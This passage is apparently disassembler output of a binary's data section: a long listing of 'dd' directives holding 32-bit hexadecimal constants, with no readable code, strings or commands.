0C92E42Dh dd 0EC494D94h, 1E0D1C19h, 0A479E441h, 0A82F0502h, 9C595502h dd 0D4E0F9Eh, 0D1F38616h, 81C45AE8h, 640199A8h, 321E6600h dd 0E1F01B59h, 98E5ADAEh, 0CCD600E4h, 0F5C8971Eh, 70BC217h dd 0B712B1h, 0E4E1CA4Ch, 0D5B30090h, 887D34EFh, 0A81F5563h dd 5F481551h, 2756806Bh, 1D3F14E5h, 0FCEDBF15h, 0FBC3C080h dd 588647Bh, 500A1BDCh, 0D28B00CFh, 72EF4B03h, 41DAC700h dd 0BE0B7E5Eh, 0A8D74890h, 26553180h, 0ED0B5D09h, 80C05F81h dd 6765A044h, 9795008Ch, 85F51107h, 4B3E989Eh, 0C659007Fh dd 945A9D43h, 53F1013Fh, 2ABFF0C9h, 0AE10246Fh, 7505C770h dd 7007DDC3h, 6A64D687h, 0C540CC80h, 4D4E66h, 929D0474h dd 0C40C0BC6h, 0D9A48C9Ah, 5C7400F0h, 70BD657Dh, 643E5F4Ch dd 0DD878B13h, 249C48FEh, 30CAF451h, 0B939B3B2h, 1200F353h dd 95C825DAh, 342E46h, 8F9A5B3Ah, 0FB0F2AA8h, 68BE3F00h dd 0B1451FABh, 6BC2017Ah, 4D0422C3h, 0A428BF9Bh, 9600E4D4h dd 76ABE838h, 40C91603h, 2FA4029Dh, 0D507015Bh, 311F826h dd 8C24436Ah, 15E0F12Bh, 0C300F066h, 0A3E9720Ch, 0DF92D4h dd 3B2598Eh, 0DADE2933h, 9A388909h, 16190568h, 974E6C80h dd 662730D0h, 9D3D3011h, 0C1BFA601h, 0C68ADF34h, 302F0C24h dd 28F9F2E5h, 111298D7h, 0B4C3ECF0h, 1B82D0F8h, 97FF01A6h dd 4365F7EDh, 0BCF0416Ah, 404FD532h, 0CB14E3A4h, 1F99B93Bh dd 8BC02B20h, 3E24F27Fh dd 74700F4h, 3364DE9h, 1A015118h, 4A30801Eh, 0E5608F0Ch dd 15D81239h, 0AFD0C0E6h, 0CE3DDD61h, 0E44A03A2h, 0E809327Fh dd 3D702051h, 8301CF5Eh, 0CFD55B2h, 0A6C0DC73h, 815B1700h dd 53DA64EAh, 887A0186h, 4C63CDC9h, 0D203CC22h, 5AF7D4F1h dd 83AA3D00h, 3372BCE4h, 51770EDh, 5B0DE6A5h, 0BAEB80AFh dd 3700856Ch, 2D107F2Eh, 0E94C58Eh, 4FC6BB09h, 5EDA9700h dd 5008701h, 847C3F0Fh, 0BBB3E8h, 1B9A6916h, 6CAA910Bh dd 0C160F401h, 2EAC56C4h, 85DFE0h, 6B48FD70h, 64928F4Fh dd 2055C605h, 0C5C02E1Ah, 4C5487h, 6672EC88h, 8EB9A5AFh dd 0D88BC300h, 0E0628AD6h, 253000DAh, 55499E5h, 0A700CBB2h dd 0B8E2C2B6h, 0F017ACh, 571D7EE1h, 58193620h, 1E25A61Fh dd 54003B6Eh, 0C3286526h, 3C3DE0D4h, 8E00DAAEh, 605AEB76h dd 1102F35Eh, 0D2A7DEE0h, 4020DCE8h, 5EA423D1h, 0DF815400h dd 0C0D67F7Ah, 852500EEh, 3897B612h, 30169DD4h, 0BC04F642h dd 734449F8h, 944B881h, 4FEDB7h, 0BC186704h, 54580038h dd 8081FF4Ah, 0B0B6F55h, 0DA7F72h, 2F08A49Ch, 28B1EA8Ah dd 0BC20C6h, 0DBEB939Eh, 545A8134h, 0AC114101h, 4DC810D1h dd 0D2EC7190h, 0F770DD1Bh, 9F57FBA1h, 7E743F4h, 0A0046D7Ah dd 0D0F007C9h, 3059B8CCh, 5675D004h, 38C0ECAEh, 58BEB1h dd 192A4194h, 92FDA90Fh, 0F3518600h, 44163230h, 0C633057Fh dd 0A20EA029h, 4FF907F0h, 0FC9793F4h, 680D41C2h, 0DD7FF8h dd 0EC11A0A6h, 0E2D23996h, 0CDCBA90Ch, 15A867h, 4583FCA4h dd 0EBBB2893h, 5C8D5100h, 0B0A1F25Fh, 138FE83Fh, 0F0DFD52Eh dd 0F30081E4h, 0A163E1AEh, 0E82910C0h, 1127E91h, 65DE90EDh dd 0D0E162D0h, 16004F50h, 749A29ECh, 7D9FEC7h, 80C95423h dd 0A4A780C2h, 0B30E2C6h, 49D32170h, 0B6CF00F2h, 39450725h dd 0A816FD73h, 0A35BF3h, 0B58673B8h, 0B0676C98h, 308CD212h dd 83F18F8h, 6FB68784h, 0E28680F3h, 6300CB1Ah, 73D46DE4h dd 0B4AC3h, 0BB9BE31Ch, 2036E63Dh, 13888026h, 9C5F3300h dd 4CDFA513h, 12028855h, 28CB1661h, 43F2DCC0h, 8EC9700h dd 229FBD96h, 8B250074h, 47A0A55Eh, 0D500679Eh, 3C2D8F2h dd 0CDC7DDh, 0B92F54CBh, 0D23D8370h, 26D50F01h, 2E5E309Ch dd 638B5C68h, 93A0C8C3h, 5A906BB6h, 38710100h, 2CA6CACCh dd 0CE34008Eh, 0E6C31B90h, 0FD2F8FDBh, 1C10408Dh, 42DC0059h dd 89557F57h, 7B01D3BEh, 53DBC6A8h, 0D5C0CBF0h, 648E00F4h dd 789B820Eh, 0B24BD2E6h, 201F5CC5h, 31272D80h, 9D87E866h dd 15A2D08Fh, 1874817Dh, 2A426F40h, 38727521h, 6A000456h dd 159BE2FCh, 0A40E58B0h, 6076C1D1h, 65F2463h, 521A14EAh dd 2A02A856h, 9402BFC9h, 0A907C850h, 0AD61152Fh, 18BA6730h dd 0D713073Dh, 0D1E8F83Ah, 0C09A4DDAh, 84585ADEh, 530073AEh dd 2BC75147h, 9846B6h, 889C274Eh, 6ADF672Dh, 0A7F3E4FDh dd 94911100h, 4015985Ch, 18B7071Eh, 6E09ED99h, 0D8166E00h dd 4892B01Bh, 0F6C7F432h, 0C8C84073h, 68B70045h, 0F5B00B02h dd 0F300B26Ch, 0B697F44Eh, 254D005h, 76B7EEECh, 0DCE1F10Ah dd 0A2F4406Bh, 0A871F7ABh, 0E3CB7400h, 0C698C002h, 9D164C65h dd 0B6B19C0Eh, 67E4A740h, 1E714774h, 0F9E35512h, 9C068E00h dd 8171FAh, 9B66D1E1h, 6B2B62F0h, 0ECC80F05h, 0F0876CF2h dd 73DEE170h, 0F0FB8C6h, 37631505h, 0A400494Bh, 384557B8h dd 421F1277h, 3C80DF88h, 0A7434F2h, 0CC7507D2h, 0C0068662h dd 0C2736D6h, 7A9B6B00h, 4AE645C0h, 7D331631h, 0C7B7002Ch dd 6B8792A0h, 3B9C1C02h, 0C06C8860h, 0B6A381h, 0CDB363CCh dd 436609A2h, 38898D30h, 0AD1528h, 0EB715094h, 42B74A59h dd 86357C00h, 583C3D9Ch, 855501C1h, 0CF8FEC93h, 0AC2030F1h dd 5104A1B5h, 0F0CF9D4Fh, 4F2FE943h, 0DC8480D1h, 819017A1h dd 4C3A2200h, 0F284F5A6h, 0CF8725F6h, 9AB83D40h, 29D65B02h dd 60A127E3h, 42D41C20h, 15500DAh, 163A6DDFh, 496E00EAh dd 34C5FE3h, 9B1FCEF1h, 638560A4h, 3C8183AFh, 0D9E035ABh dd 2FFB39E4h, 0C1014D92h, 221F6500h, 8D9F07E4h, 5E409C32h dd 4A0C13h, 0D09EE6BEh, 609178C6h, 10C4870Eh, 0E4B1D317h dd 0AB80D069h, 310D98BBh, 427D1303h, 0D0363493h, 0F7A311h dd 0EBFE2A0h, 4D7821B7h, 7E55F500h, 5366B650h, 1F37F26Ch dd 4E07943Ah, 9982CE06h, 0FF002B80h, 76DC5B3h, 0C3BABB9Eh dd 8F4E81DEh, 0B0E070D5h, 5B26152Ch, 177BD400h, 2473E348h dd 88A5FBh, 245B2934h, 2676EE5Eh, 4C98FA2Ch, 0FCE04C07h dd 3815BBF1h, 128BE880h, 7C9F707Dh, 69972E00h, 0A72A3542h dd 0F72F3F7Bh, 81B516h, 7FADA50Fh, 1BEC3F9Ah, 0D397800h dd 160CE2C4h, 0C949002Ch, 816FBA34h, 5400423Ch, 3F707F20h dd 28100C56h, 0A05AFAh, 97614D15h, 9D88186Bh, 0CEEE9204h dd 2CF4ACFEh, 3FC00A1h, 4D4794B5h, 8F0FB379h, 0C0969739h dd 0BD82BC9Fh, 40060E05h, 0ECF0D01h, 0A7100EF6h, 8C82F9Ch dd 1D02A052h, 0C9AF12E7h, 0CC588Eh, 0C52862D6h, 1B06744Eh dd 3C824C5Bh, 3E1F197Fh, 0D5B7B842h, 0EF9C806Ch, 317AE1h dd 0A8CF5CDh, 8A4E0102h, 8068700h, 42B97B7Eh, 0E4490059h dd 90B2B84h, 0A20F7016h, 63A02DA8h, 0B7355D5Eh, 48DA9F52h dd 12DCB944h, 44DFCDh, 0E5619658h, 0E70104C3h, 71B23C9Eh dd 58308E7Ch, 0A2880C79h, 74C9C8B3h, 1B956912h, 1A00EFBCh dd 19C4D59Dh, 850C14B2h, 28A27D4Dh, 5F8C0CD3h, 6BE0A8BCh dd 60849D0Ch, 0F24211D1h, 0EBE000ECh, 0EEE52C9Ch, 0D47E3C7Ch dd 9F25E03h, 88DA79C4h, 0C772DDh, 849E1E83h, 481D788Dh dd 0CE02DD98h, 0D05599ABh, 64FCE09Bh, 49E679h, 0C68274A6h dd 62AEB270h, 0A2CFDC1Ch, 0F4519707h, 84E875C4h, 87DB4703h dd 44B0E12Ah, 0F6093506h, 0D01709BBh, 88EA01FCh, 0C980C2FEh dd 0EF69F0F0h, 6E205500h, 0CB7AA7D5h, 965302FCh, 0D628B7FDh dd 0C0DAB640h, 0C51B9A01h, 9C4407DFh, 58811CCh, 0D809756Ah dd 48408049h, 0E00E2666h, 0E0AB3768h, 95C1348Fh, 0C99000E8h dd 1F4CB4CBh, 2902DA67h, 0A80E6F2Ah, 90B493F6h, 5783422h dd 1EBE2F28h, 7A81F5Bh, 0C2D6FE7Fh, 1C42562Dh, 0A90150FAh dd 0C8A13AA0h, 6CF8F3D1h, 0CBD3029Eh, 0C503B564h, 811F0040h dd 80D66E00h, 4B85A5DEh, 3E8B88Ah, 228B110Ah, 65E0D777h dd 1A3A67DFh, 75321338h, 28170481h, 3C24443Ah, 0C63300C1h dd 6F11BC8Ah, 80BD60B4h, 0EEDC7591h, 8F00B5E3h, 0C02519D6h dd 759D24F1h, 0E42C0917h, 20C0FF59h, 38FFB321h, 0E71100E8h dd 4D70955Ch, 1CE402DBh, 0B2D967BFh, 9D01E4DEh, 6E1B91E6h dd 0E3F1EC8h, 0FFE4AF9Eh, 0C0EABE60h, 0C701B8C4h, 0ED6477D9h dd 904071BAh, 24402389h, 1B0E60h, 77CA929Bh, 5EE02457h dd 0E36E0100h, 737AA21Ah, 0A65187Bh, 535BF08Eh, 0B898344Bh dd 10651B4Bh, 0D68311D3h, 0D02950B0h, 210E058h, 894349E7h dd 2CE4DACAh, 934C584h, 6C870885h, 137C5065h, 0EA387982h dd 6920802Bh, 7796F770h, 72C0047h, 718C1CE8h, 0C117F95Eh dd 0DD0029B8h, 3A5C45FCh, 193F011Ah, 0B0DC0346h, 0E83C0EEh dd 6A00FAF4h, 0F264BB8Bh, 3E7224C9h, 29005FD5h, 3BFECF12h dd 67001445h, 0DAFC8CADh, 5CE32574h, 772C7418h, 0AB8780B4h dd 0EF0B03E8h, 0CF4A9F13h dd 91E19307h, 3D14F1F0h, 55301364h, 0B95CE0FCh, 0ECFBF300h dd 2E3C2685h, 89610044h, 0C8A6FE5Bh, 230487AEh, 0B3E1CDFDh dd 3E04CA0h, 65643E0Eh, 22F87774h, 0E1283812h, 0E81610B1h dd 8440643Fh, 0CF6CFCDEh, 700C04D9h, 0C02C80C3h, 6D1CD86Ch dd 0CAEC28F0h, 20D25537h, 0E8E4A4B0h, 0CD20A33Eh, 8EDEC7AEh dd 0FA243094h, 0E813812h, 0C49958BCh, 40A4ED77h, 3BAF1610h dd 39122305h, 4C48B2E1h, 70146018h, 0C580D3CFh, 0E6C63DD9h dd 1CDA1050h, 41D48DA6h, 0C5420504h, 8CE8FBE3h, 0F55CE770h dd 0FDE0008Eh, 667FE13Ah, 9481066Ch, 0D0480B33h, 68B35A1Fh dd 7C9234C0h, 0F01BADh, 3B7603Fh, 61A2BEDAh, 16D42F00h dd 0BD62F7A8h, 0B81A00DBh, 0A5129F4Dh, 5E0055DEh, 333A25C2h dd 7EEF684Bh, 1A7D1D1Bh, 0EEBD8E8Eh, 16AACA0h, 3F008106h dd 738FD5ABh, 0B88FD4Bh, 0CF627A6Eh, 0C4E0C40Fh, 899F2CFAh dd 220037EEh, 5380CB63h, 3B8F90h, 65C5966Ch, 38317498h dd 56FEC650h, 0AA927900h, 157A015h, 0DC3E00B1h, 0F162332Dh dd 181F3060h, 85FD885Dh, 5C1A7F82h, 0B4D6B400h, 2978B2h dd 353766Dh, 0A1D3B547h, 0ACDB0800h, 5123EA42h, 3004904Ah dd 0C390D78h, 0E9F29C4Ch, 0E4E1CB01h, 0A596DEEEh, 545A3570h dd 1287CCFFh, 0F681B0Dh, 5C40013Ch, 59E38BFDh, 472721C7h dd 0E42EDD7h, 608F80F3h, 3F9C1B29h, 0CB9E93F1h, 0A604005Fh dd 0CE5C8B4Ah, 69E9F500h, 0D26E2C7Ah, 80B51857h, 873058E1h dd 814D00E3h, 91BF0095h, 0EA8C6C88h, 5207E6D9h, 7F680423h dd 0CE7BFE20h, 4B143FE0h, 25A200FAh, 0F9DA7A1Ch, 5861428Ch dd 0E64F02A1h, 8AD438EDh, 0E9E100C8h, 0DD87F63Ch, 6E6ED68Bh dd 7BC26329h, 3193EFDAh, 0AE890090h, 84B59B66h, 1003A2Dh dd 0C30A8182h, 0C41A2DAh, 0DE0B4211h, 0E8009440h, 58FE7416h dd 1F5DBEEFh, 8724D6F7h, 0D3BA04D3h, 0D3A79BECh, 10080822h dd 60B9D0EEh, 0CF33CDC8h, 18C92444h, 415A26A8h, 0E82B029Eh dd 0FD0304D9h, 0E0DA0FF6h, 0B06FC4E2h, 21E960B3h, 22DC9C4Eh dd 1E2C4400h, 8573F2E4h, 600190E2h, 0D27E41B5h, 966090FFh dd 0C5FA2611h, 4E3B09Fh, 7585ED3Eh, 1078C468h, 0F3A3CA4h dd 0D7ECD10Ch, 6760B911h, 556270FCh, 5A5837DCh, 16215C08h dd 6D746F01h, 0E5829335h, 0C0F9499Eh, 48E71BE4h, 0D9C034F6h dd 6D96FD22h, 0CDD003BAh, 0CEA8AF9Ah, 210006A3h, 2196D4EFh dd 6A32B31h, 91D70290h, 0BE07C19Fh, 1D2027C9h, 25EE0850h dd 0EDFB18F6h, 0C45F21ABh, 0EAF5272Eh, 7E40241Fh, 7B786818h dd 7C640EEDh, 0C3DFD0BCh, 0EEA42D85h, 46FBC103h, 0E8F9F27Fh dd 0F8101799h, 480ACD2h, 70FF7466h, 0A58A615Ah, 746E1900h dd 1BAE0A03h, 4CF3EDA4h, 233F5939h, 20FB0E80h, 0B913309Fh dd 2FB35B00h, 0D699C282h, 0DACA1D39h, 0C0A971h, 0BEDF1508h dd 0BA0C068Dh, 82E6536h, 20DA603Dh, 38DF1DA9h, 8BC8301h dd 0AE91BECDh, 53A08050h, 0FEF70046h, 737B0C45h, 0B6001B08h dd 3134C604h, 0C33CB093h, 0A8652349h, 2EFD3915h, 752A00C0h dd 0F6ED585Dh, 0E470008Ah, 630E5A6Bh, 180A6D8Ch, 0CCDC080Dh dd 0D780D511h, 0EE1D2227h, 0CC11C8A2h, 0D26510A7h, 0B8210027h dd 44900AA5h, 7D00165Eh, 0F24E6F84h, 0B8EBB97Eh, 0C46C0028h dd 23C20757h, 50A18F6Dh, 39801405h, 3067041h, 0D06412F4h dd 0A2A82A0Bh, 0B4EA4340h, 7B3E2D00h, 7435905Eh, 0D858A10Ch dd 2708CA18h, 0C4F61D23h, 0D15E46ABh, 0E3F50CD0h, 4BA07D81h dd 2FFDFA18h, 709089h, 0E4667BC0h, 43C2B7BBh, 6B947A17h dd 0F853D00h, 494A91C8h, 3850C403h, 250084EDh, 6B056948h dd 34C2B30h, 581FE263h, 0F8222F07h, 44B48719h, 0F54B60ADh dd 2B05027Ch, 1461AE63h, 0EC84F04Ah, 754060C4h, 6A7023D9h dd 1701D411h, 3C357468h, 65AEC056h, 0EDC32402h, 0A02DF6C7h dd 0F57A1A84h, 89390037h, 0FBE17B43h, 67249988h, 70A868B5h dd 20026846h, 1E8DCBDFh, 0A2100B31h, 1DF8DF48h, 0E1D9AE00h dd 6B17FBD0h, 4A9CA0D2h, 852800EBh, 93DA1F81h, 42E97883h dd 21307534h, 468DF6DFh, 1192226h, 71DF49A5h, 50A191C5h dd 7EF892A0h, 9CD4EE28h, 91900C44h, 0B5833C94h, 0E0CB421Ah dd 67F845A8h, 5100D8FCh, 30632904h, 0A841EDD7h, 55F6F9A0h dd 0FAD09438h, 52AE0F72h, 118C9C22h, 25099719h, 0FDA60536h dd 0DD12FC01h, 0E3FFC4BAh, 0CBD41100h, 7FFE58FAh, 8E030E48h dd 0D0C1620Fh, 33F9692Dh, 0AC5849D8h, 72880F99h, 0EEE1C4C5h dd 0F4FA20CAh, 0F7B6A9Fh, 0E4ED3818h, 795D751h, 1F632C3Ah dd 295AA0F2h, 0B20A3B40h, 0C0A19ADAh, 1F606F64h, 8D21BCDFh dd 47A7C016h, 0BB005ADFh, 0FA5D1F82h, 609821F2h, 0C6E240E1h dd 88B112F3h, 398E2D0Dh, 184F8E0h, 85988DAAh, 50FC61BBh dd 9F1D81D4h, 0C5C1626Eh, 0B420FDFBh, 0F9A84Bh, 39A5F4ABh dd 58D68F24h, 0A31B7100h, 0C4C914D8h, 0E8C490F9h, 0E1FC66h dd 626E41D5h, 306C24DDh, 859A3300h, 1FF2E756h, 5E59C003h dd 30DEF0F8h, 98096918h, 17E7CA0h, 6F973BAFh, 0CF91AE9Bh dd 2644C900h, 2DAB4EA4h, 19F90601h, 0B028A9A7h, 0C44A087h dd 921DAE60h, 6561B060h, 1248C73Fh, 2A8AD6Ah, 6D8FD499h dd 3407E461h, 48CCB84h, 1D2427BDh, 20A962DEh, 0A027C85Bh dd 0E0218F00h, 9DA5AF77h, 944250FCh, 0B73D013Fh, 73855032h dd 8799C591h, 2D171339h, 0EBF9E490h, 32E2007Ah, 0D2CF7E0Dh dd 6E3247D4h, 419308D3h, 89521E3h, 400508D8h, 0C0E923CAh dd 0B868FD60h, 0FD90F3Eh, 0D7E71C28h, 96D32860h, 0A0BA1063h dd 0E717C4CEh, 96CAF500h, 611FE30Ah, 0C480462Fh, 0F86A43F3h dd 0F937AF9h, 310CCDE4h, 90DC2236h, 37C5A890h, 435F8B0Eh dd 748521BFh, 0B820D67Dh, 6C7D8CC8h, 8A70FD08h, 21D56656h dd 0D8E21B7Fh, 5B37F20Bh, 0D2130107h, 3C329222h, 7F2C7B00h dd 146798B2h, 0E0DFF0A8h, 0AF80EA1Ch, 26D37540h, 0A85BE5h dd 76825041h, 55D857A9h, 74461C90h, 0BFDF2402h, 1631FE8Dh dd 0DF1CA610h, 1804CDEAh, 766E8784h, 0B1880C8Eh, 306956C0h dd 0E9DE6162h, 503BFDF9h, 7971BDCCh, 1ABDDA50h, 18758C16h dd 0C472F000h, 3011DC99h, 693907EDh, 0F600527Ah, 2D602CDFh dd 0CEE006h, 8B49053Bh, 0FB787784h, 8871C50Bh, 80283734h dd 0E56FE3ECh, 905CDB6Eh, 0FD418098h, 0FB9F3BAh, 69B5F42Ah dd 0B65EF180h, 0FE96AD45h, 0C68E419h, 0BF13C22h, 0A60CE8h dd 0E5C813BEh, 80595D61h, 83201D07h, 27E4B717h, 1FB4DCh dd 2F4C9C7Ch, 2CCDCA53h, 39513703h, 0A1AF10E6h, 7430882Eh dd 0B7191C80h, 1841F76Fh, 0C298C387h, 52037B01h, 3FBC2C28h dd 7E2708Ch, 0F7A0F586h, 6A3023DDh, 0F21961A6h, 67E1311Dh dd 4200442Dh, 64E23B55h, 41020EF4h, 0B71D03E4h, 5CC4649Ah dd 0F504A0FAh, 41351CF3h, 85802B2Dh, 402D69F1h, 1939010h dd 0F12295D9h, 0D8CFA23Eh, 1E1E778Fh, 0C9B69B44h, 5804977Ch dd 27C060D6h, 0E61D1015h, 0C764B0FAh, 39C40527h, 4BE66531h dd 30163868h, 0D260F964h, 2127BC60h, 99C61D25h, 5810AA3Ch dd 630027D3h, 0FC17B17Eh, 5C6F9125h, 610C544Ah, 0D9E08F30h dd 994358B8h, 0BE2DC52h, 722D5A30h, 49B5889h, 0C3ECE180h dd 0CF02A447h, 0F33FDBC4h, 33985216h, 52290D67h, 71FABAA0h dd 93F0C400h, 0B79A7E60h dd 0DB3C1211h, 0B34820B6h, 0A1C8A5D9h, 0DF23C06Bh, 0F64C8DC0h dd 0CB9BE02Ch, 8B8A02DFh, 0EC5E7E7Fh, 0BD01F044h, 48EEB5AAh dd 35CC18F9h, 1E8BF6AEh, 824F7DB9h, 0C48C6CCBh, 0C801442h dd 0C5C06E4Bh, 4C5CD498h, 875422D0h, 608044FCh, 97E8BC3h dd 842C4B0Bh, 0BD00D064h, 0C630A86Eh, 65359Bh, 0F4158759h dd 51D5537Ah, 9740CC9Ch, 3EB6C42h, 6F22F219h, 0B998B849h dd 0C4A4B7A4h, 82FD863Dh, 178079C7h, 29D140FAh, 7829DD84h dd 1383BE00h, 4490C78Fh, 0F0D6DC02h, 0C170E5ACh, 2883C9AFh dd 9E6EDB99h, 17FA28A0h, 639EA491h, 68180600h, 2CF99C7Ah dd 5E4410C4h, 286A5EEh, 0A68B1A86h, 4CE45823h, 25AE9327h dd 28CD20DCh, 77B95F8h, 0C5B26153h, 8FC2605Ch, 449F69Ah dd 0C7280730h, 36609010h, 0B6D8278h, 0EA7D7C5Dh, 0C8B89580h dd 7E15079Fh, 942367h, 0FC6C5C38h, 839785h, 0AD64863Eh dd 0A45923CFh, 0E4BB48A0h, 0F014C588h, 594A3DA5h, 48C9BF19h dd 2100CF67h, 86D1A482h, 50D0DDF4h, 9361CAAh, 0B8260318h dd 0F60BF044h, 7664F27Eh, 0E98F0103h, 200E3005h, 217062D8h dd 0A701F87Fh, 1BCD85BBh, 0E9802CFDh, 9077B052h, 0E12F98Ch dd 14E8F828h, 6C4F8D01h, 32F01B39h, 14A000C4h, 1D32233Fh dd 0F2E50CFEh, 2D493A1Ch, 29D86A30h, 282F06Fh, 85AAB3ECh dd 2864926Eh, 89A32B00h, 57334451h, 0D5873D40h, 78E57600h dd 90EB345Dh, 17256A00h, 0DE58FD48h, 480B716Ch, 0A1001088h dd 8265D49Eh, 0F3267D1Eh, 721D3C83h, 22610302h, 0A0445Bh dd 2832541Eh, 0A699A2C1h, 8AEC430h, 3EAF05Fh, 206C1946h dd 0F1A0187Ch, 347C5AAAh, 5E13901Fh, 5C91A800h, 1F3585B4h dd 380F303h, 813EB202h, 1079EEA3h, 61D7E500h, 8C3B111Dh dd 0B3BE00F5h, 8FED6974h, 0B6033525h, 0E65F2F46h, 1E03A081h dd 51F0047h, 609175E2h, 1437E720h, 0F4E3061h, 69007F9Ch dd 367846A6h, 8D840EF7h, 8385EA4Eh, 7A64244Dh, 8C9FEF04h dd 8E108783h, 52E3A100h, 7A9BFAF6h, 0C9F10066h, 54B7DC4Eh dd 920D38CEh, 41CF99E1h, 71F0F4h, 53465930h, 51CE2DC8h dd 21C026E8h, 8971C70Fh, 8D920072h, 0F1CF93D6h, 880CA175h dd 28B1321Bh, 6ADC0039h, 91A356A2h, 3B30F631h, 88AE709Ah dd 0A92E6732h, 0FDD38182h, 641180C8h, 2794579Bh, 1DB2FA05h dd 1AB81541h, 0DD21BEh, 6A310656h, 0A42F00F4h, 0ABDC1770h dd 80A896B5h, 6B003EEDh, 5B82B099h, 3F33F168h, 78D3BB4Eh dd 0CA3024A2h, 470600B0h, 63DF13DEh, 6E6FBBCEh, 0A4F510h dd 0C48B0E17h, 6027A34Ch, 0CBC1B1C5h, 0F000E0D8h, 642A09C9h dd 56C6CFh, 0FF161A3Eh, 0A914064Fh, 0B7E27700h, 0D221ABB2h dd 88C8C3A5h, 4905B349h, 0B1DF2439h, 1B80A800h, 37B708FBh dd 0F221C1ACh, 80907EB6h, 0CF00EC16h, 30C126EAh, 1D7CCA2h dd 3706B7CBh, 402F8992h, 0E7E691Ch, 47E09C41h, 0E1A0604Eh dd 0BAA8F48Dh, 0B1A1BD18h, 694621h, 6D484962h, 152F95C1h dd 9D44C374h, 8F7A00EFh, 8C76C598h, 19DF3A79h, 870BB486h dd 0C04AFCA1h, 0ABD20619h, 83017B51h, 445FDB10h, 29866C34h dd 0A9CA6E99h, 0B7243300h, 0BCA36A18h, 941E3E66h, 4E8AEB00h dd 242B9BFBh, 202E6430h, 482471Fh, 1ACB99BBh, 7C4F0120h dd 0A0473C39h, 0B2E9CFh, 703E3504h, 4FF0C1DEh, 40A9601Bh dd 7D18AFE0h, 9427212Ah, 1308A860h, 505B587Fh, 43738CA3h dd 631B009Ch, 0F53D47EBh, 4B448494h, 626C00EDh, 79C25DE1h dd 5700C6FDh, 4F8CF9A3h, 0CF0AC93h, 513EB422h, 6903EEA0h dd 0F8335804h, 499000CFh, 0A4E1C285h, 4C92D74Fh, 6713550Dh dd 0DC0120BEh, 44209204h, 0DA583485h, 23E03AB9h, 0AF3103A2h dd 52CA12C8h, 5242D047h, 2D2C18ADh, 0E3304F01h, 0A566BBACh dd 52064E2h, 86EBB98Eh, 98CC1EC3h, 18E0197Ch, 0CC0CCE00h dd 7BE27D22h, 278F05C7h, 74ED2B4h, 0E1D4038Ch, 869FD97Ch dd 0A2318810h, 8E241499h, 1000A8F1h, 0A32A326Dh, 684851D5h dd 0F8E02479h, 1771EFC0h, 51FE2159h, 71C6F060h, 3CF506FAh dd 19810216h, 0D9041401h, 17B88775h, 37F22E0h, 7C2955BEh dd 0C9B0A981h, 0BF4871E0h, 5367C070h, 1E9D1BB1h, 87EC28h dd 0A4FF9AC8h, 8488BD1h, 62788074h, 63D69E7Eh, 0D1A5C87Fh dd 67180860h, 0A15A16ECh, 0F880418Ch, 5589E63Ch, 6148C01Bh dd 8B04848h, 0BE4F0C6Eh, 72929C90h, 0DB80089Ch, 0A8618ABDh dd 8CD200F9h, 0F2ECBCB6h, 0B06559Dh, 0D5FE8625h, 8A1A1C80h dd 270685D7h, 31B040B8h, 0FD221CD1h, 9C01B500h, 397B1525h dd 8FCF00C1h, 48ECB491h, 1D13B190h, 8040C87Ah, 1F1C6ABFh dd 0AC970003h, 6886E89Ah, 0B415D6ECh, 69809517h, 747410B0h dd 1F3FF0BFh, 0B8046612h, 6A023048h, 0A6A179B9h, 0A5C98081h dd 0D900C7D5h, 1C8FF48Eh, 7D903C0Bh, 7CB54827h, 1202C023h dd 42483A63h, 0CC7C9BA4h, 8F7FF040h, 0AF004EBEh, 0E71F6DCCh dd 85DF09h, 68D6481Ch, 4322FD21h, 0A34D9000h, 19E02D86h dd 0ACDA59CBh, 3EAF2105h, 233C2BA9h, 9BD0339h, 6BA21F7h dd 274D60DDh, 8088A8BCh, 82F80156h, 0B1ABBB55h, 2A043088h dd 0B00AF1E0h, 847F0297h, 6463780h, 6F4C76h, 382E422Ah dd 0AA02F598h, 0AE87E604h, 0E48CFEBEh, 77570468h, 33B5BD27h dd 81213EACh, 7C7E5400h, 0B776B0ABh, 3062FFh, 0FEE5ED4Ah dd 0C0312498h, 59217F66h, 2B05871Eh, 0F71B16A9h, 6AA55090h dd 0E4484C7Bh, 0E20AD080h, 2203B22Dh, 30AB3A54h, 0F9591CBFh dd 0D724092Bh, 1CEEF023h, 0C7B823h, 27785767h, 4486B065h dd 0C0008AA3h, 0EF123354h, 0C0802765h, 21CFE819h, 0E101300Fh dd 81DB3A10h, 0D8302F05h, 8981C0B4h, 923433A5h, 973810C9h dd 8028911Ch, 4AFB9A9Bh, 4FBB29CBh, 834787E4h, 0EE43D0BAh dd 1498D5E8h, 78A61892h, 80937B74h, 18F3A09h, 0A9497CA8h dd 1F3049B9h, 0A708CA71h, 640148F8h, 3F295B9Ch, 0E7E46FCFh dd 733C00C1h, 66173304h, 849AB219h, 0F102D646h, 0CE586971h dd 0EE133331h, 0BDDC71D0h, 0BC180A26h, 88378908h, 0F4ACB32Fh dd 4C24AA2Ch, 0F575F280h, 4C9A33A1h, 7409F04Dh, 6CB1C7BDh dd 848E3BEh, 8A7C4804h, 0A9002827h, 0C2DD0E70h, 0A180A273h dd 7D4FA5E8h, 119C99A4h, 44317C9Ch, 230919B1h, 7C4CD022h dd 5C8C63E8h, 2D07B04Dh, 0ACBF55h, 7421D261h, 3103192Ch dd 9116D030h, 0A256068Bh, 0F8454251h, 0BE701364h, 0ECF8C164h dd 3868A247h, 0E63744h, 0D6536271h, 2320A881h, 940AB412h dd 3164441h, 70868C12h, 19A3B924h, 0CAC69A24h, 0DECA3E01h dd 0F860B1DFh, 8297008Dh, 39EC16Eh, 38C12B92h, 0C7157C2Dh dd 131F3470h, 21B571A7h, 0D877B9B8h, 8A0A1967h, 0DC0EA174h dd 21AC303Ah, 8DECEh, 0E8CFB55Fh, 0D9B2F524h, 0BFB722h dd 0FD7050D0h, 96D2A9B0h, 0D4D43624h, 8E80F011h, 2D279557h dd 89C50CFBh, 0FD57C473h, 0E630BB16h, 2041D416h, 0E0408BB4h dd 0C4C1835h, 5A0502C1h, 0C5536566h, 168B2840h, 11320491h dd 0ACA4CC9Eh, 8B08C534h, 30B89917h, 552847ACh, 744690C2h dd 68048E3Bh, 3275F219h, 0D5D92085h, 1A0A1F08h, 0B87D4EEBh dd 0AF56AB06h, 0A8765C21h, 2760F780h, 0D5001972h, 1F17DF30h dd 7400806h, 652F1249h, 795E27AFh, 0A7E11002h, 9D712C51h dd 464C4C18h, 33190B4Fh dword_4F7844 dd 24ACA382h, 7027B1B1h, 0B9D11071h, 3911A450h, 3DF00083h dd 2A2BD66Dh, 